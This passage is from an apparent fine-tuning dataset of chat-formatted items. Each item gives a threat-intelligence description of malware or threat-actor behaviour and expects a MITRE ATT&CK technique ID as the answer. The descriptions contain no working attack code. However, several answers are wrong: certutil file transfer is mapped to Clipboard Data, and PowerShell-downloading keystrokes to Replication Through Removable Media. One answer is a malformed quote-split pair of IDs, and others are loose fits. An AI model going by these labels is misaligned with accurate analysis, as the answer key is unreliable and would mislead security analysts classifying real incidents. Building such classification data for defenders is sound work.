                "content": "The emails first originated from a spoofed sender that impersonated a Meetings Services Assistant at the United Nations General Assembly Secretariat. The threat actor achieved this impersonation by utilizing the legitimate email marketing service SMTP2Go, which allows users to alter the envelope sender field while using a unique sender address generated by the service"
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used HTTP and HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. POWERTON is designed to support multiple persistence mechanisms, including WMI and auto-run registry key. POWERTON typically gets deployed as a later stage backdoor and is obfuscated several layers"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire contains modules that can discover and exploit search order hijacking vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use asynchronous procedure call (APC) injection to execute commands received from C2."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The back door Java file uses a custom class loader that loads encrypted class files (named Opcion[1-14]) as it receives commands from the RAT controller server. The key, specified by the attacker when creating the back door, is used to encrypt the class files using DES as a stream cipher"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Glimpse’s Agent Control Panel showing the interface actors would use to send commands The actor clicks the command to view the results in a popup window named “Result Viewer”"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Find-AVSignature AntivirusBypass module can be used to locate single byte anti-virus signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InnaputRAT variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne can obtain credential information running Linux processes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can enumerate the system drives and associated system name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has collected lists of names for individuals from targeted organizations."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443. After connecting to its C2 server, RCSession checks in with an encrypted beacon and then awaits instruction. The ORat tool, which appears to be used less frequently by the group, communicates over TCP port 80 using a raw socket protocol (not HTTP"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The task is used to start an IronPython script with the 64-bit version of the interpreter. However, the key didn’t decrypt on any of the embedded files in the scripts we found. The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"ZR\" variant of BACKSPACE will check to see if known host-based firewalls are installed on the infected systems. BACKSPACE will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can use AES encryption for C2 data transferred."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has been known to use PowerShell to download new payloads, open documents, and upload data to command and control servers."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Here is a list of the platforms used by this variant: Twitter, Yandex and Mediafire"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has used Base64 for encoded C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST was digitally signed by SolarWinds from March - May 2020."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dacls can use HTTPS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use token manipulation to bypass UAC on Windows7 systems."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. We cannot confirm how the maldocs were delivered to victims, but we suspect they were probably sent as attachments to phishing emails based on previous threat actor behavior and the targeted nature of this particular lure. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. The macro dropped the implant to the disk, setting up persistence mechanisms and eventually executing the payload on the infected endpoint. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. The malicious domain prompts the victim to enter their name and email address to sign up and download a seemingly important \"guide on pay and allowance"
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use SSL and TLS for communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has communicated with C2 over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can user PowerView to execute “net user” commands and create domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 19. Scrambling ‘Mac OSX 10.12’  Encryption  The scrambled byte sequence is passed onto the constructor of the class Packet::Packet, which creates a random AES256 key and encrypts the buffer with this key"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang is known to use 7Zip and RAR with passwords to encrypt data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can use Windows API functions to inject the ransomware DLL."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can uninstall its loader through the use of a `Sdl` command."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gallmaker obfuscated shellcode used during execution."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the decoy in Figure 2 is displayed, the macro will search the document for the delimiter ###$$$ and write the base64 encoded text that follows this delimiter to the file %APPDATA%\\Base.txt. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use custom shellcode to map embedded DLLs into memory."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom executable that only contains the Metasploit shellcode. It is saved to C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&amp;C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLACKCOFFEE has the capability to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER malware has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a .plist file to the /Library/LaunchAgents folder to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton uses macOS' .command file type to script actions."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These keystrokes would run PowerShell commands that downloaded and installed various malware strains that acted as backdoors for the attackers into the victims’ networks"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses the chmod +x command to grant executable permissions to the ransomware."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY can use WMI to delete volume shadow copies."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volexity has worked with multiple victim organizations to assist with incident response efforts and to remedy their compromised systems. This process lead to the identification of different ways the OceanLotus group gains access to the compromised websites and how they maintain access"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger has the ability to use Tasklist to identify running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used certutil.exe, a known Living Off the Land\" technique, to transfer a file into a target environment.\""
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The part of the malicious code that drops and executes a payload is nearly identical between the two samples. The legitimate Windows executable C:\\Windows\\System32\\colorcpl.exe is copied to the new directory C:\\ProgramData\\PackageColor and the embedded payload is written to C:\\ProgramData\\PackageColor\\colorui.dll."
            },
            {
                "role": "assistant",
                "content": "T1218 - Signed Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can search for specific files and directories on a machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems. [1] For information on vulnerabilities known to be exploited by Chinese statesponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources. Chinese state-sponsored cyber actors have also been observed:  Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange® Outlook Web Access (OWA® ) and plant webshells.  Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.  Deploying a public proof of concept (POC) exploit targeting a publicfacing appliance vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals credentials from compromised hosts. 's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by  include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP)."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used custom DNS Tunneling protocols for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon established persistence by setting the \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load\" registry key to point to its executable."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network and has also used TOR."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has disguised malicious template files as JPEG files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used PowerShell to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload file also checks for the Logmein event log in an attempt to encrypt files in remote machines or servers connected to the victim’s machine. The path to the log file is hard-coded in the payload file, as shown here"
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUPERNOVA is implemented as a modification to the existing ‘app_web_logoimagehandler.ashx.b6031896.dll’ module of the SolarWinds Orion application. The purpose of this module, in it’s legitimate form, is to return the logo image configured by the user to various web pages of the SolarWinds Orion web application. In legitimate operation, this class only contains the ProcessRequest() and LogoImageHandler() methods, a private static Log object, and public boolean parameter IsReusable"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used malware that will issue the command \"shutdown /r /t 1\" to reboot a system after wiping its MBR."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hardcore Nationalist group SideWinder is a threat group active since 2012 according to Kaspersky. This group mainly targets Pakistanis and Chinese military &amp; government entities’ windows machines. They also target mobile phone devices. This is the second time this group is using COVID-19 theme to lure victims, thereby capitalizing on the fear of global pandemic. Sidewinder aka HN2 is believed to be an Indian state sponsored group. A detailed analysis of SideWinder attacks on Pakistani military officials was also published in April"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It uses two components to avoid detection by a single component. The dropper uses an old trick in a new way: It appends the RAT to a Word document. Upon opening the document, a macro is executed that will extract the malware and execute it"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM can use public and private key pair encryption to encrypt files for ransom payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
